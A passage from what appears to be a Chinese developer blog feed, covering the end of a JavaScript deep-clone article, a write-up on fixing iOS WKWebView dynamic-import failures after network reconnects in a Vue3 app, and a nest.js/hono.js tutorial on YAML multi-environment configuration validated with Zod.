                        descriptor.value = deepCloneComplex(descriptor.value, cache);
                    }
                    Object.defineProperty(clone, key, descriptor);
                } catch (e) {
                    // 忽略无法复制的属性
                }
            }
        }
        
        cache.set(target, clone);
        return clone;
    }
    
    // URL
    if (target instanceof URL) {
        const clone = new URL(target.href);
        cache.set(target, clone);
        return clone;
    }
    
    // 未处理的特殊对象
    return undefined;
}

🎉 总结

cloneObj 是一个经过精心设计和优化的 JavaScript 对象克隆工具,它在以下方面表现出色:

  1. 智能策略:自动选择最佳克隆方式,兼顾性能和功能
  2. 全面支持:覆盖 JavaScript 中绝大多数数据类型
  3. 安全可靠:正确处理循环引用和边界情况
  4. 性能优异:在简单场景下达到接近原生 JSON 的性能
  5. 易于使用:简洁的 API,开箱即用

无论你是处理简单的配置对象,还是复杂的应用状态,cloneObj 都能提供安全、高效的克隆解决方案。这个工具已经在多个生产环境中得到验证,是替代 JSON.parse(JSON.stringify()) 和 _.cloneDeep 的优秀选择。

立即尝试 cloneObj,体验下一代 JavaScript 对象克隆!  🚀

一次断网重连引发的「模块加载缓存」攻坚战

记一次线上必现的疑难杂症——当用户在 Vue3+Vite+TS 项目中断网后操作,重连时 iOS 端反复报「动态导入模块失败」,而安卓却安然无恙。这场从前端到客户端的「跨层排查」,最终揭开了 WKWebView 模块缓存机制的神秘面纱。

一、问题现场:断网点击,iOS 独有的「模块加载死锁」 技术栈与场景

项目基于 Vue3+Vite+TS 开发,包含首页、详情页等多页面,路由跳转通过 router.push 实现。核心复现步骤:

  1. 首页加载完成(模块预加载完毕);

  2. 主动断网(关闭设备WiFi/流量);

  3. 点击列表项,router.push 跳转至详情页;

  4. 观察控制台报错:
    • 浏览器/安卓:Failed to fetch dynamically imported module(动态导入模块失败);

    iOS:TypeError: Importing a module script failed(更致命的模块脚本导入失败)。

二、初战:前端「网络恢复重载」方案的折戟

第一反应是通过「网络恢复后重载页面」修复模块加载状态,于是设计了 NetworkMonitor 工具类监听网络状态,核心逻辑如下:

1. 网络监听器:断网预警+智能重载

// utils/networkMonitor.ts
import { ref } from 'vue';

interface NetworkState {
  isOnline: boolean;
  lastOnline: Date | null;
  showOfflineWarning: boolean; // 断网提示显隐
}

class NetworkMonitor {
  private state = ref<NetworkState>({
    isOnline: navigator.onLine,
    lastOnline: navigator.onLine ? new Date() : null,
    showOfflineWarning: false,
  });
  private reloadTimer: number | null = null;
  private offlineTime: number | null = null;

  constructor() {
    this.init();
  }

  private init() {
    // 监听浏览器原生 online/offline 事件
    window.addEventListener('online', this.handleOnline.bind(this));
    window.addEventListener('offline', this.handleOffline.bind(this));
  }

  private handleOnline() {
    console.log('[网络监控] 网络已恢复');
    this.state.value.isOnline = true;
    this.state.value.lastOnline = new Date();

    // 断网超30秒:延迟3秒重载(确保网络稳定)
    if (this.offlineTime) {
      const offlineDuration = Date.now() - this.offlineTime;
      if (offlineDuration > 30000) {
        this.scheduleReload();
      }
    }
    this.offlineTime = null;
  }

  private handleOffline() {
    console.warn('[网络监控] 网络已断开');
    this.state.value.isOnline = false;
    this.state.value.showOfflineWarning = true;
    this.offlineTime = Date.now();

    // 取消待执行重载
    this.reloadTimer && clearTimeout(this.reloadTimer);
  }

  private scheduleReload() {
    this.reloadTimer = window.setTimeout(() => {
      console.log('[网络监控] 网络稳定,重载页面修复模块状态');
      window.location.reload(); // 硬刷新清除缓存
    }, 3000);
  }

  // 暴露状态与方法
  public getState = () => this.state;
  public hideWarning = () => (this.state.value.showOfflineWarning = false);
  public manualReload = () => window.location.reload();
  public destroy = () => {
    window.removeEventListener('online', this.handleOnline);
    window.removeEventListener('offline', this.handleOffline);
    this.reloadTimer && clearTimeout(this.reloadTimer);
  };
}

export const networkMonitor = new NetworkMonitor(); // 单例导出

2. 优化:区分「已点击错误页」与「未点击页」的刷新策略

初期方案在浏览器中有效,但单页应用(SPA)的 reload() 会清空路由栈,导致自定义导航栏「返回箭头」异常变为「Home图标」。于是增加判断:
• 若用户已点击触发 chunk 加载失败(监听 router.onError),则 reload() 彻底重置;

• 若未点击(仅断网未操作),则用 replace() 刷新当前页,保留路由栈。

但新问题接踵而至:iOS App 内嵌 H5 即使触发 reload(),仍报 Importing a module script failed——前端方案彻底「败北」。

三、转机:深入 WKWebView 内核——模块缓存的「死亡标记」

既然前端无解,转向 iOS 端 WKWebView 的机制深挖。通过查阅 Apple 文档与调试发现:

正常联网流程

  1. 页面加载时,<link rel="modulepreload"> 预加载初始依赖(如 vendor.js、main.js);
  2. 路由跳转触发 import('./Detail.xxxx.js'),直接从内存/磁盘缓存读取模块;
  3. 一切正常。

⚠️ 断网时的「致命缓存」

  1. 首次打开页面:仅预加载初始依赖,懒加载的路由 chunk(如详情页 Detail.xxxx.js)未被 modulepreload 覆盖(Vite 按需分割代码);
  2. 断网点击跳转:import() 尝试加载未预加载的 chunk,因网络失败,WKWebView 将该 URL 标记为「永久加载失败」并缓存(类似 HTTP 5xx 缓存策略);
  3. 网络恢复后:再次 import() 同一 URL,WebView 直接返回失败,不再发起网络请求——这就是 iOS 独有的「模块加载死锁」。

四、破局:联合客户端「清除 WebView 缓存」

核心思路:绕过 WebView 缓存,强制重新加载模块。需客户端提供 bridge 能力清除 WebView 缓存,结合前端网络状态联动实现。

1. 网络状态展示组件:触发缓存清除

新增组件监听网络状态,在网络恢复时调用客户端 clearWebCache 方法,并通过「时间戳 URL」强制刷新:

<template>
  <view v-if="showOfflineWarning" class="network-status">
    <view class="offline-banner" :style="{ paddingTop: ((systemInfo as any)?.statusBarHeight || 12) + 'px' }" :class="{ reconnecting: isReconnecting }">
      <view class="banner-content">
        <text class="status-icon">
          {{ isReconnecting ? '🔄' : '⚠️' }}
        </text>
        <text class="status-message">
          {{ isReconnecting ? '网络已恢复,正在重新连接...' : '网络连接已断开,请检查网络设置' }}
        </text>
        <view class="banner-actions">
          <view v-if="!isReconnecting" class="retry-btn" :disabled="retrying" @click="retryConnection">
            {{ retrying ? '重试中...' : '重试连接' }}
          </view>
          <view v-if="isReconnecting" class="cancel-btn" @click="cancelReload">取消刷新</view>
        </view>
      </view>
    </view>
  </view>
</template>

<script setup lang="ts">
import { computed, onMounted, onUnmounted, ref, watch } from 'vue'
import { bridgeEnv, canIUse, jsBridge } from '@mono/utils'
import { useSystemInfo } from '@mono/hooks/global'
import { networkMonitor } from '@mono/utils/networkMonitor'
const { systemInfo } = useSystemInfo()
const retrying = ref(false)
const reloadScheduled = ref(false)
// 从网络监视器获取状态
const networkState = networkMonitor.getState()

// 计算属性
const showOfflineWarning = computed(() => networkState.value.showOfflineWarning)
const isOnline = computed(() => networkState.value.isOnline)
const isReconnecting = computed(() => isOnline.value && reloadScheduled.value)

// 重试连接
const retryConnection = async (): Promise<void> => {
  retrying.value = true
  try {
    // 检查网络连接
    const isAccessible = await networkMonitor.checkResourceAccess()
    if (isAccessible) {
      if (bridgeEnv.isIosApp() && canIUse('bridge.clearWebCache')) {
        jsBridge.invoke('clearWebCache')
      }
      // 使用window.location.reload()进行硬刷新,确保清除模块加载错误状态
      window.location.reload()
    } else {
      // 如果仍然无法访问,等待一段时间再重试
      setTimeout(() => {
        retrying.value = false
      }, 2000)
    }
  } catch (error) {
    alert(error)
    console.error('重试连接失败:', error)
    retrying.value = false
  }
}

// 取消自动刷新
const cancelReload = (): void => {
  reloadScheduled.value = false
  networkMonitor.hideWarning()
}

// 监听网络状态变化
onMounted(() => {
  // 监听网络恢复事件,设置重新连接状态
  const unwatch = watch(
    () => networkState.value.isOnline,
    newVal => {
      if (newVal) {
        // 网络恢复,标记为正在重新连接
        reloadScheduled.value = true
        // 2秒后自动隐藏警告并重新加载
        setTimeout(() => {
          // 使用完整URL重定向,避免WKWebView缓存错误
          if (reloadScheduled.value) {
            networkMonitor.hideWarning()
            if (bridgeEnv.isIosApp() && canIUse('bridge.clearWebCache')) {
              jsBridge.invoke('clearWebCache')
            }
            window.location.reload()
          }
        }, 2000)
      } else {
        reloadScheduled.value = false
      }
    }
  )

  // 清理函数
  onUnmounted(() => {
    unwatch()
  })
})
</script>

<style lang="less" scoped>
.network-status {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  z-index: 100000;

  .offline-banner {
    background: #ff4757;
    color: white;
    padding: 24rpx 0;
    transition: all 0.3s ease;
    &.reconnecting {
      background: #2ed573;
    }

    .banner-content {
      display: flex;
      align-items: center;
      justify-content: center;
      margin: 0 auto;
      padding: 0 40rpx;
    }

    .status-icon {
      margin-right: 20rpx;
      font-size: 36rpx;
    }

    .status-message {
      flex: 1;
      font-size: 28rpx;
      font-weight: 500;
    }

    .banner-actions {
      margin-left: 30rpx;
    }

    .retry-btn,
    .cancel-btn {
      padding: 12rpx 24rpx;
      border: none;
      border-radius: 8rpx;
      font-size: 24rpx;
      font-weight: 500;
      cursor: pointer;
      transition: all 0.2s ease;
    }

    .retry-btn {
      background: white;
      color: #ff4757;
      &:hover:not(:disabled) {
        background: #f8f8f8;
      }
      &:disabled {
        opacity: 0.6;
        cursor: not-allowed;
      }
    }

    .cancel-btn {
      background: rgba(255, 255, 255, 0.2);
      color: white;
      border: 1px solid rgba(255, 255, 255, 0.3);
      &:hover {
        background: rgba(255, 255, 255, 0.3);
      }
    }
  }
}
</style>

2. 关键动作:客户端 clearWebCache 桥接

需 iOS 端同学实现 jsBridge.invoke('clearWebCache'),核心清除 WebView 的:
• 内存缓存(临时模块加载状态);

• 磁盘缓存(持久化的「失败模块标记」);

• 模块预加载缓存(modulepreload 残留状态)。

五、结果与反思

成果

多机型测试验证:iOS 端断网重连后不再报模块加载错误,且通过「是否点击错误页」的判断,尽可能保留了 SPA 路由栈体验。

遗留问题:SPA 路由栈清空的「痛」

尽管通过 replace() 优化了未点击错误页的场景,但 reload() 仍会清空路由栈(导航栏箭头变 Home 图标)。尝试过「记录历史路由栈→恢复」方案,但因 SPA 路由状态依赖内存,刷新后无法还原,暂未彻底解决。欢迎大佬们讨论更优解!

结语

这场「模块加载缓存」攻坚战,本质是前端「模块分割」与客户端「缓存机制」的碰撞。当纯前端手段失效时,「跨层协作」(前端监听+客户端清缓存)往往能打开新思路——毕竟,复杂的线上问题,从来不是单一端能独立搞定的。

nest.js / hono.js 一起学!字节团队如何配置多环境攻略!

前言

在构建任何健壮的 Node.js 应用时,配置管理都是一个核心问题。你的应用在开发环境(development)、测试环境(testing)和生产环境(production)需要连接不同的数据库、使用不同的端口号,甚至有不同的日志级别。

本文是咨询了一个在字节 infra 团队的资深开发,然后应用到我们公司生产的一套多环境配置方案,案例包含了 nest.js 和 hono.js 的代码。核心内容包括:

  1. 使用 YAML 文件实现清晰的 多环境配置
  2. 通过 配置合并 实现“默认值 + 环境覆盖”的灵活机制。(会有一个 default.yaml 是默认变量, 支持别的环境可以覆盖默认值)
  3. 引入 Zod 库,对配置文件进行 运行时校验,彻底杜绝配置错误导致的线上事故!

如果你喜欢讨论技术,欢迎加入到我们的交流群,主要涉及到全栈前端技术 + ai agent 开发,以下是我的 headless 组件库网站,同时感谢你的 star:


nest.js / hono.js 一起学系列,最终会封装一个通用的架子,例如有鉴权,日志收集,多环境配置等等功能,用两种框架去实现。 之前写了两篇关于这两个框架编程思想相关的

我们先来搞定 nest.js 的环境配置:

nest.js 环境配置

第一步:定义 YAML 配置文件——让配置说话

我们使用 yaml 格式来组织配置文件,因为它简洁、易读。所有的配置文件都放在一个集中的 config 文件夹下。

1. 默认配置文件:config/default.yaml

这是所有环境的基准配置。一些通用或大部分环境相同的配置项都写在这里。

YAML

# config/default.yaml

# 应用运行的端口号
port: 3000

# 数据库连接信息 - 注意:这里只写了部分通用信息
database:
  host: "localhost"
  port: 5432
  # 数据库连接的额外选项
  options:
    logging: true

2. 环境覆盖文件:config/development.yamlconfig/production.yaml

这些文件只包含需要覆盖或新增的配置项。

假设在生产环境,我们需要使用不同的数据库主机和禁用日志:

# config/production.yaml (生产环境)

database:
  host: "prod-db-server.com" # 覆盖 default.yaml 中的 localhost
  options:
    logging: false            # 覆盖 default.yaml 中的 true

💡 核心机制: 当应用以 production 环境启动时,它会先加载 default.yaml,然后用 production.yaml 的内容进行深度合并,后者的值会覆盖前者。

第二步:使用 Zod 定义配置结构与校验

配置文件是人手写的,难免出错。如果端口号写成了字符串 "three thousand",或者忘记了数据库密码,应用启动就会失败。

Zod 是一个强大的 TypeScript 声明和校验库。它能确保加载进来的配置:

  1. 结构正确:必须包含哪些字段,哪些字段是可选的。
  2. 类型正确:端口号必须是数字、数据库主机必须是字符串等。

src/config/schema.ts

以下代码完全是一个示例,大家明白意思即可。

import { z } from 'zod';

export const DEFAULT_ENV = 'development';
export const PROD_ENV = 'production';

// 定义数据库配置结构 (DatabaseSchema)
const DatabaseSchema = z.object({
  host: z.string(), // 必须是字符串
  port: z.number().int().positive(), // 必须是正整数
  username: z.string(), // 必须提供用户名
  password: z.string(), // 必须提供密码
  options: z
    .object({
      timeout: z.number().int().positive().optional(), // 可选,正整数
      logging: z.boolean().optional(), // 可选,布尔值
    })
    .optional(), // options 字段本身是可选的
});

// 定义根配置结构 (ConfigSchema)
export const ConfigSchema = z.object({
  env: z.enum([DEFAULT_ENV, PROD_ENV]).default(DEFAULT_ENV), // 只能是 'development' 或 'production'
  port: z.number().int(), // 应用端口号
  database: DatabaseSchema, // 数据库配置必须符合 DatabaseSchema
  redis: z
    .object({
      host: z.string().optional(),
      port: z.number().optional(),
    })
    .optional(), // Redis 配置是可选的
});

// 导出配置类型,供 NestJS 的 ConfigService 使用,实现完整的类型提示!
export type Config = z.infer<typeof ConfigSchema>;

第三步:实现配置的加载、合并与校验

这是最核心的部分,我们将其封装为一个加载函数,供 NestJS 的 ConfigModule 使用。

src/config/configuration.ts

import { readFileSync, existsSync } from 'fs';
import * as yaml from 'js-yaml'; // 用于解析 YAML 文件
import { join } from 'path';
import { merge } from 'es-toolkit/object'; // 强大的深度合并工具
import { ConfigSchema } from './schema';

const YAML_CONFIG_FILENAME = 'default.yaml';

// 导出一个默认函数,它会返回最终的配置对象
export default () => {
  // 决定当前环境,优先使用环境变量 NODE_ENV,否则默认为 'development'
  const env = process.env.NODE_ENV || 'development';

  // --- 1. 加载默认配置 (default.yaml) ---
  const defaultConfigPath = join(process.cwd(), 'config', YAML_CONFIG_FILENAME);
  let defaultConfig = {};
  if (existsSync(defaultConfigPath)) {
    // 读取并解析 YAML 文件
    defaultConfig = yaml.load(
      readFileSync(defaultConfigPath, 'utf8'),
    ) as Record<string, any>;
  }

  // --- 2. 加载环境特定配置 (例如 config/production.yaml) ---
  const envConfigPath = join(process.cwd(), 'config', `${env}.yaml`);
  let envConfig = {};
  if (existsSync(envConfigPath)) {
    envConfig = yaml.load(readFileSync(envConfigPath, 'utf8')) as Record<
      string,
      any
    >;
  }

  // --- 3. 深度合并:环境配置覆盖默认配置 ---
  const mergedConfig = merge(defaultConfig, envConfig);

  // --- 4. 使用 Zod 进行校验和转换 ---
  // .strict() 表示如果配置里有 schema 中未定义的字段,校验也会失败。
  const result = ConfigSchema.strict().safeParse(mergedConfig);

  if (!result.success) {
    // 校验失败时,打印详细错误并抛出异常,阻止应用启动!
    console.error('❌ 配置文件校验失败:', result.error.issues);
    throw new Error('Config validation failed');
  }

  // 校验通过,返回最终的、类型安全的配置数据
  return result.data;
};

第四步:在 NestJS 应用中加载配置

最后一步,将我们精心准备的配置加载器集成到 NestJS 的 ConfigModule 中。

src/app.module.ts

import { Module } from '@nestjs/common';
import { ConfigModule, ConfigService } from '@nestjs/config';
import configuration from './config/configuration'; // 导入我们自定义的配置加载器
// ... 其他依赖

@Module({
  imports: [
    ConfigModule.forRoot({
      isGlobal: true, // 👈 设为全局,所有模块无需重复导入即可使用
      load: [configuration], // 👈 使用自定义加载器加载配置
    }),
  ],
  // ...
})
export class AppModule {}

总结

通过这套方案,您实现了:

  1. 分层清晰的配置default.yaml (默认值) + [env].yaml (环境覆盖)。
  2. 启动时校验:使用 Zod 确保配置结构和类型完全正确,将配置错误扼杀在摇篮里。
  3. 强大的类型提示Config 类型确保您在代码中获取配置时(例如 configService.get('database.host'))拥有完整的 TypeScript 提示和类型安全。

有了这套专业、健壮的配置管理系统,您的 NestJS 应用将更加稳定和易于维护!

hono.js 环境配置

hono.js 的代码跟上面几乎一致,以下内容要看上面 nest.js 的配置,包含

  • 第一步:定义 YAML 配置文件——让配置说话

    • 默认配置文件:config/default.yaml
    • 环境覆盖文件:config/development.yamlconfig/production.yaml
  • 第二步:使用 Zod 定义配置结构与校验

  • 第三步:实现配置的加载、合并与校验

第四步有有所不同,我们使用如下方法来加载这些变量:

以下是 hono.js 中的 index.js 也就是程序启动入口

import { serve } from "@hono/node-server";
import { Hono } from "hono";
import { init } from "./init";

const app = new Hono();

const { config } = await init();

app.get("/", (c) => {
  return c.text("Hello Hono!");
});

serve(
  {
    fetch: app.fetch,
    port: config.port,
  },
  (info) => {
    console.log(`Server is running on http://localhost:${info.port}`);
  }
);

最关键的代码在于:

const { config } = await init();

然后,这个 init 会初始化项目需要的内容,所以这里包含了初始化读取环境变量的内容:

export async function init() {
  const config = await loadConfig();
  return {
    config,
  };
}

这个 loadConfig 就是我们上面提到的第三步的代码:第三步:实现配置的加载、合并与校验, 代码上面有,我们这里再次贴出来,大家就能明白全部流程了:

import { existsSync } from "fs";
import * as yaml from "js-yaml";
import { join } from "path";
import { merge } from "es-toolkit/object";
import { ConfigSchema } from "./schema";
import { readFile } from "fs/promises";

const YAML_CONFIG_FILENAME = "default.yaml";

export async function loadConfig() {
  const env = process.env.NODE_ENV || "development";

  // 1. 加载默认配置(若文件不存在则使用空对象)
  const defaultConfigPath = join(process.cwd(), "config", YAML_CONFIG_FILENAME);
  let defaultConfig = {};
  if (existsSync(defaultConfigPath)) {
    defaultConfig = yaml.load(
      await readFile(defaultConfigPath, "utf8")
    ) as Record<string, any>;
  }

  // 2. 加载环境特定配置 (例如 config/production.yaml)
  const envConfigPath = join(process.cwd(), "config", `${env}.yaml`);
  let envConfig = {};
  if (existsSync(envConfigPath)) {
    const envConfigContent = await readFile(envConfigPath, "utf8");
    envConfig = yaml.load(envConfigContent) as Record<string, any>;
  }
  // 3. 深度合并 (环境配置覆盖默认配置)
  const mergedConfig = merge(defaultConfig, envConfig);

  // 4. 使用 Zod 进行校验和转换
  // 使用 strict() 让 schema 拒绝未定义字段,从而保证 safeParse 在存在多余字段时返回 success: false
  const result = ConfigSchema.strict().safeParse(mergedConfig);

  if (!result.success) {
    console.error("❌ 配置文件校验失败:", result.error.issues);
    throw new Error("Config validation failed");
  }
  console.log("✅ 配置文件校验成功");
  return result.data;
}

总结

其实配置多环境更多的是配置思路,跟框架没什么太大的关系,例如后续如果出 bun 相关框架的教程,本质上也是这套思路,换一个集成的环境而已!

❌